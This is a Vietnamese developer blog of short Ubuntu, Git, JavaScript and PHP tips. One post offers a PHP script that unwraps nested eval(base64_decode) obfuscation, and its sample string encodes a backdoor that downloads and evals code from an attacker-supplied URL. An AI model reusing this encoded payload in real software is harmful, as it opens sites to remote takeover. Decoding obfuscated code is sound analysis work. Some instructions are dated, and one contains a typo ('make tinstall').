Cài Đặt Git Trên Ubuntu

Để cài đặt git bản mới nhất, chỉ cần mở Terminal lên và gõ:
sudo apt-get install git-core
1:45 CH 17/09/2014 0 Bình luận
Chi tiết

 Cài đặt JDK 6 trên ubuntu

Xóa OpenJDK nếu có cài đặt trước đó:
sudo apt-get purge openjdk*
Để không bị lỗi ở lệnh add-apt-repository, cài đăt:
sudo apt-get install software-properties-common
Tiếp tục:
sudo add-apt-repository ppa:webupd8team/java
sudo apt-get update
Cài JDK
sudo apt-get install oracle-java6-installer
1:42 CH 17/09/2014 0 Bình luận
Chi tiết

 Cài đặt GNU Make Trên Ubuntu

Để cài đặt bạn cần vào http://ftp.gnu.org/gnu/make/ để download bản mới nhất, ở đây mình cài đặt bản make-3.82.tar.gz. Sau khi download về (mặc định ở thư mục Downloads) các bạn tiến hành giải nén, mở Terminal lên:

cd ~/Downloads/
tar -xvf make-3.82.tar.gz
cd make-3.82
./configure
make
sudo make tinstall

Chú ý: make-3.82 là tên thư mục giải nén được, make-3.82.tar.gz là tên file đã download. Sau khi cài đặt nên xóa file make-3.82.tar.gz và thư mục make-3.82.tar để giải phóng ổ cứng.
1:38 CH 17/09/2014 2 Bình luận
Chi tiết

 Cài đặt python 2.7.5 trên ubuntu

sudo apt-get install build-essential
sudo apt-get install libreadline-gplv2-dev libncursesw5-dev libssl-dev libsqlite3-dev tk-dev libgdbm-dev libc6-dev libbz2-dev
cd ~/Downloads/
wget http://python.org/ftp/python/2.7.5/Python-2.7.5.tgz
tar -xvf Python-2.7.5.tgz
cd Python-2.7.5
./configure
make
sudo make altinstall
Chú ý: Có thể có bản mới hơn, do đó bạn cần kiểm tra http://www.python.org/download/ xem, nếu có thì thay đường dẫn http://python.org/ftp/python/2.7.5/Python-2.7.5.tgz trong code trên bằng đường dẫn download file, thay Python-2.7.5.tgz bằng tên file download về được (trong thư mục Home/Downloads/) và thay Python-2.7.5 bằng thư mục giải nén được.
1:32 CH 17/09/2014 0 Bình luận
Chi tiết
Xuất Source Android Bước 1: Chuẩn Bị Các Thành Phần

 Xuất Source Android Bước 1: Chuẩn Bị Các Thành Phần

Các thành phần cần thiết cần chuẩn bị để build code androi gốc từ kho code của google

11:23 SA 16/09/2014 0 Bình luận
Chi tiết

 Không cho bôi đen nội dung html

$('#imglist').attr('unselectable','on').css({
 '-moz-user-select':'-moz-none',
 '-moz-user-select':'none',
 '-o-user-select':'none',
 '-khtml-user-select':'none',
 '-webkit-user-select':'none',
 '-ms-user-select':'none',
 'user-select':'none'
}).bind('selectstart', function(){ return false; });
9:55 CH 08/08/2014 0 Bình luận
Chi tiết

 Code Đơn Giản Giải Mã Kiểu Mã Hóa eval(base64_decode

<?php

$string = "eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lvYVhOelpYUW9KRjlIUlZSYkltTjFiMjVuYTJWdVp5SmRLU2tLZXdvSlpXTm9ieUFpU0dWc2JHOGdRM1Z2Ym1kTFpXNW5JRG9nUEM5aWNqNGdJanNLQ1dsbUtHbHpjMlYwS0NSZlIwVlVXeUpyZFhKc0lsMHBLUW9KQ1hzS0NRa0phV1lvSkY5SFJWUmJJbXQxY213aVhTRTlJaUlwQ2drSkNXVjJZV3dvWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vSkY5SFJWUmJJbXQxY213aVhTa3BPd29KQ1gwS0NRbGxiSE5sQ2drSlpXTm9ieUFpUEdFZ2FISmxaajFjSWo5amRXOXVaMnRsYm1jbWEzVnliRDFjSWo1dVpYaDBQQzloUGlJN0NnbGxlR2wwS0NrN0NuMD0iKSk7'));";

while( preg_match( "/base64\_decode/", $string ) ){ $string = preg_replace( "/eval\(base64\_decode\(['\"](.*?)['\"]\)\)\;/i", "\\1", $string ); $string = base64_decode( $string );}

echo $string;

?>
10:36 SA 04/08/2014 0 Bình luận
Chi tiết
Cài Đặt Và Tùy Chỉnh Apache, PHP & MySQL Trên Ubuntu

 Cài Đặt Và Tùy Chỉnh Apache, PHP & MySQL Trên Ubuntu

Hướng dẫn cách cài đặt, thiết lập một web server hoàn chỉnh trên hệ điều hành Ubuntu

4:46 SA 04/08/2014 1 Bình luận
Chi tiết

 Cài Một Số Phần Mềm Cần Thiết Và Khắc Phục Một Số Lỗi Trên Ubuntu

Lỗi kết nối accounts google chrome

Tắt google chrome:
mv ~/.config/google-chrome ~/.config/google-chrome-old
Mở chrome, chọn default broswer sau đó tắt chrome:
cp -r ~/.config/google-chrome-old/Default ~/.config/google-chrome/

Cài đặt Ibus-Unikey

Mở Ubuntu Sortware Center đánh ibus-unikey, install sau đó:
ibus restart
Vào system setting => text entry nhấp add, kéo xuống chọn Vietnamese (Unikey)

Cài đặt VLC Media Player

sudo apt-get install vlc browser-plugin-vlc

Sửa lỗi mount ổ đĩa NTFS

sudo ntfsfix /dev/<partition>
<partition> là tên phân vùng NTFS bị lỗi.

Cài một số tiện ích mở rộng

sudo apt-get update
sudo apt-get install ubuntu-restricted-extras

Cho phép java trên trình duyệt google chrome

sudo -s
mkdir -p /opt/google/chrome/plugins
cd /opt/google/chrome/plugins
ln -s /usr/local/java/jre1.7.0/lib/amd64/libnpjp2.so

Sửa lỗi màn hình có độ phân giải thấp sau khi xóa card nvidia

sudo mv /etc/X11/xorg.conf /etc/X11/xorg.conf.bak
10:48 SA 03/08/2014 0 Bình luận
Chi tiết

 Hủy theo dõi các file trên kho local nhưng không xóa trên kho remote

Sử dụng lệnh:
git update-index --assume-unchanged <file>
Ví dụ:
git update-index --assume-unchanged data/config_global.php
Để tiếp tục theo dõi dùng lệnh:
git update-index --no-assume-unchanged <file>
Để xem danh sách các file đang hủy theo dõi dùng lệnh
git ls-files -v | grep '^h '
10:29 SA 03/08/2014 0 Bình luận
Chi tiết

 JavaScript Bộ đếm ngược ngày giờ phút giây

<script type="text/javascript">
function DaysHMSCounter(initDate, id){
    this.counterDate = new Date(initDate);
    this.container = document.getElementById(id);
    this.update();
}
DaysHMSCounter.prototype.calculateUnit=function(secDiff, unitSeconds){
    var tmp = Math.abs((tmp = secDiff/unitSeconds)) < 1? 0 : tmp;
    return Math.abs(tmp < 0 ? Math.ceil(tmp) : Math.floor(tmp));
}
DaysHMSCounter.prototype.calculate=function(){
    var secDiff = Math.abs(Math.round(((new Date()) - this.counterDate)/1000));
    this.days = this.calculateUnit(secDiff,86400);
    this.hours = this.calculateUnit((secDiff-(this.days*86400)),3600);
    this.mins = this.calculateUnit((secDiff-(this.days*86400)-(this.hours*3600)),60);
    this.secs = this.calculateUnit((secDiff-(this.days*86400)-(this.hours*3600)-(this.mins*60)),1);
}
DaysHMSCounter.prototype.update=function(){
    this.calculate();
    this.container.innerHTML =
        " " + this.days + " " + (this.days == 1? "day" : "days") +
        " " + this.hours + " " + (this.hours == 1? "hour" : "hours") +
        " " + this.mins + " " + (this.mins == 1? "min" : "mins") +
        " " + this.secs + " " + (this.secs == 1? "sec" : "secs");
    var self = this;
    setTimeout(function(){self.update();}, (1000));
}
window.onload=function(){ new DaysHMSCounter('January 01, 2013 00:00:00', 'counter'); }
</script>
3:23 SA 01/08/2014 0 Bình luận
Chi tiết

 Merge và xử lý lỗi conflic Pull Request trên Git

Giả sử chúng ta chưa có gì bây giờ muốn quản lý một kho code. Trong ví dụ này là kho NukeViet: https://github.com/nukeviet/nukeviet.git.
Bây giờ hãy tạo một thư mục nào đó và click chuột phải vào thư mục đó chọn Git Bash. Tiếp theo đánh lệnh:
git init
git clone https://github.com/nukeviet/nukeviet.git
Hai lệnh trên để thiết lập một kho mới và tải kho nukeviet về thư mục vừa tạo. Khi clone xong mặc định sẽ chọn nhánh master, tuy nhiên ta cần làm việc trên nhánh develop. Tiếp theo để checkout nhánh develop về ta phải trỏ vào thư mục chính của kho code. Dùng lệnh sau:
cd nukeviet
Sau đó:
git checkout develop
Bây giờ ta tiếp tục nhập lệnh sau:
git remote add vuthao https://github.com/vuthao/nukeviet.git
git fetch vuthao
git merge vuthao/develop
3 lệnh đó sẽ thực hiện việc tạo một nhánh ảo từ thành viên vuthao trên github sau đó lấy toàn bộ pull request của thành viên đó, nhập nhánh develop của vuthao vào nhánh đang làm việc của kho code hiện tại (tức nhánh develop của nukeviet).

Nếu quá trình merge tự động diễn ra thành công ta chỉ cần thực hiện lệnh:
git push origin develop
Để hoàn tất việc merge pull request.

Nếu merge bị conflic thì ta phải xử lý các file conflic trước, sau đó đưa vào index, commit rồi mới push lên kho code. Thứ tự thực hiện như sau:

Để xem thử conflic chỗ nào ta đánh:
git diff
Khi đó các file bị conflic sẽ hiển thị đoạn code lỗi. Ta chỉ cần mở các file đó lên, chỉnh sửa đoạn code đó. Sau khi chỉnh sửa xong ta add file đó vào index bằng cách dùng lệnh:
git add [file]
trong đó [file] là đường dẫn đến file ví dụ:
git add modules/news/admin/content.php
Để xem trạng thái các file, thư mục ... dùng lệnh:
git status
Để hiển thị status gọn hơn ta dùng option -s:
git status -s
Sau khi đã hoàn tất xử lý conflic ... ta commit các chỉnh sửa vừa rồi:
git commit -m "Message"
Trong đó message là nội dung commit.
Cuối cùng là push lên kho code.
git push origin develop
2:57 CH 26/07/2014 0 Bình luận
Chi tiết
Bạn đã không sử dụng Site, Bấm vào đây để duy trì trạng thái đăng nhập. Thời gian chờ: 60 giây